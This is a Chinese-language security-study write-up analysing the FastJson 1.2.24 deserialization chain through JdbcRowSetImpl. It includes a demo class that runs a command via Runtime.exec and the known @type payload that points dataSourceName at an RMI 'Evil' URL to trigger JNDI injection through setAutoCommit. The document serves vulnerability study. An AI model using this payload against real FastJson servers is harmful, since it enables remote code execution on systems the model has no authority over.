代码审计之FastJson_JdbcRowsetImpl
- 简介:
1、此文章的利用链原理主要是当使用@type时,会触发类里面的set方法。
2、fastjson版本为1.2.24
3、最好使用1.8.0_65
- 准备阶段:
1、恶意类
public class test {
public void setCmd(String abc) throws IOException {
String cmd = "Open -a Calculator";//mac系统用这个,windows用calc
Runtime.getRuntime().exec(cmd);
}
}
2、Main方法
public class Main {
public static void main(String[] args) {
String s="{\"@type\":\"org.example.test\",\"cmd\":\"1\"}";
JSONObject people= JSON.parseObject(s);
}
}
- 分析阶段:
当执行Main时可以发现弹计算器,具体原理没记错应该是调用了反射,不过不分析。主要是看JdbcRowsetImpl为什么能利用,下面是fastjson的poc
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/Evil",
"autoCommit":true
}
根据上面的原理,这里一定是调用了某个set方法,所以我们可以在JdbcRowSetImpl这个类里面搜setAutoCommit和setDataSourceName这两个方法查看。不过主要的利用点在setAutoCommit


这里触发了jndi注入,这里因为是getDataSourceName,所以可以构造攻击者的url来进行攻击
- 总结
这个利用链主要是触发了setAutoCommit里面的connect方法,然后里面有jndi漏洞代码,可以使用setDataSourceName来构建构建恶意url来攻击fastjson
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
